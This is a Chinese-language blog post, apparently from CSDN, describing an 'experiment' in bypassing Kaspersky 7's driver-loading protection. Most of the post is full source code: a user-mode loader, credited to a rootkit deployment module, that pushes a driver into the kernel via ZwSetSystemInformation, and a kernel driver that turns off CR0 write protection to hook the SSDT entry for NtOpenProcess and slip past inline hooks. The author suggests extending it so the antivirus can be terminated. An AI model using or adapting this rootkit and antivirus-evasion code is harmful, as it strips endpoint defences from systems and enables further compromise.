ZwSetSystemInformation的使用

本文介绍了如何使用ZwSetSystemInformation函数绕过卡巴斯基的驱动加载防御,通过该函数将驱动加载到内核空间。示例代码展示了如何设置系统信息类以执行加载和调用内核模块的过程,并提供了驱动程序源码,演示了如何挂钩和还原SSDT以绕过Inline Hook。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

實驗對象 : 卡巴 7.0.0 .125
實驗函數 :ZwSetSystemInformation
實驗內容 : 繞過卡吧裝驅動 ( 多麽恐怖的事 ), 結果將會使系統失去防禦
 
// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation 设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
     IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength);
 
参数:
     SystemInformationClass :将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是
 
SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
 
     SystemInformationLength: 長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
 
成员:
     Module: 要加载模块的NATIVE NT格式的完整路径
 
备注:
     这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
 
SystemInformation: 指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength: 以字节为单位的SystemInformaiton的大小,根据给定的
SystemInformationClass 来设置它
*/
 
//*----- 一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
 
typedef struct _UNICODE_STRING
{
     USHORT Length;
     USHORT MaximumLength;
     PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
 
typedef VOID (__stdcall *RTLINITUNICODESTRING)(
     IN OUT PUNICODE_STRING DestinationString,
     IN PCWSTR SourceString
);
 
typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
     IN DWORD SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength
);
 
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
 
#define SystemLoadAndCallImage 38
//*----- 數據類型的定義結束--------------
 
void main(void)
{
     SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
     RTLINITUNICODESTRING RtlInitUnicodeString;
     ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
 
     if( !(RtlInitUnicodeString =
         (RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
         "RtlInitUnicodeString")) )// 在ntdll.dll中获取RtlInitUnicodeString地址
         exit(1);
 
     if( !(ZwSetSystemInformation =
         (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
         "ZwSetSystemInformation")) )// 在ntdll.dll中获取ZwSetSystemInformation地址
         exit(1);
 
     RtlInitUnicodeString( &(GregsImage.ModuleName),
         L"//??//C://NtOpenProc.sys" );// 加載的驅動就是這個了
 
     if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
         &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))// 加载进内核空间
         printf("Rootkit Loaded./n");
     else printf("Rootkit not loaded./n");
}
驅動源碼是來自 优快云 上的一篇文章的 , 內容是還原 SSDT 并可以繞過 Inline Hook ( 還原對象是 NtOpenProcess), 忘了文章的名稱 , 作者抱歉 .
 
#include <ntddk.h>
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
     PVOID ServiceTableBase;
     PULONG ServiceCounterTableBase;
     ULONG NumberOfService;
     ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; // 由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE    KeServiceDescriptorTable;//KeServiceDescriptorTable 为导出函数
 
//---------------------------------------------------------------------
__declspec (naked) NTSTATUS __stdcall MyNtOpenProcess(
     PHANDLE ProcessHandle,
     ACCESS_MASK DesiredAccess,
     POBJECT_ATTRIBUTES ObjectAttributes,
     PCLIENT_ID ClientId)
{
     DbgPrint("NtOpenProcess() called");
     __asm
     {
         push    0C4h
         push    804eb560h // 共十个字节
         jmp    [JmpAddress]  
     }
}
//---------------------------------------------------------------------
VOID Hook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A 为NtOpenProcess服务ID
     DbgPrint("Address:0x%08X",Address);
 
     OldServiceAddress = *(ULONG*)Address;// 保存原来NtOpenProcess的地址
     DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);
 
     DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);
 
     JmpAddress = (ULONG)NtOpenProcess + 10; // 跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了
     DbgPrint("JmpAddress:0x%08X",JmpAddress);
 
     __asm
     {// 去掉内存保护
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT
 
     __asm
     {// 恢复内存保护
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
 
VOID Unhook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;// 查找SSDT
 
     __asm
     {
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)OldServiceAddress;// 还原SSDT
 
     __asm
     { 
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
     Unhook();
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
     DriverObject->DriverUnload = OnUnload;
     Hook();
     return STATUS_SUCCESS;
}
好了 , 可以測試結果了 , 加載驅動是成功的 , 卡巴沒反應 , 此時用普通的軟件 ( 例如 :Syscheck2) 都可以看到卡巴加載的模塊了 , 我就寫還原 NtOpenProcess 而已 , 但如果加多幾個函數 , 例如 ZwTerminateProcess , 那個恐怖 , 任務管理器就可以輕鬆結束掉卡吧 ( 不過卡巴 7 , 沒那麽容易結束的 , 哈哈 ).
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值